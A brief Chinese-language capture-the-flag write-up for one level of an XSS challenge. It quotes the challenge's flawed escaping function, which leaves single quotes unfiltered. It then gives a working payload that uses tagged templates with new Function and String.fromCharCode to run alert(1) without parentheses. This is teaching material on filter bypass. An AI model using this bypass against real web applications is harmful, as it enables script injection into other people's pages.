Well
题目源码
function escape(s) {
http://www.avlidienbrunn.se/xsschallenge/
s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}
源码分析
代码过滤了\r、\n、\u2028、\u2029、\、;、,、(、)、[、]和<。 单引号没被过滤,可以闭合前面的语句,通过定义函数来执行代码,在Payload中我们借助了new Function语法
解题过程
payload:
'+new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'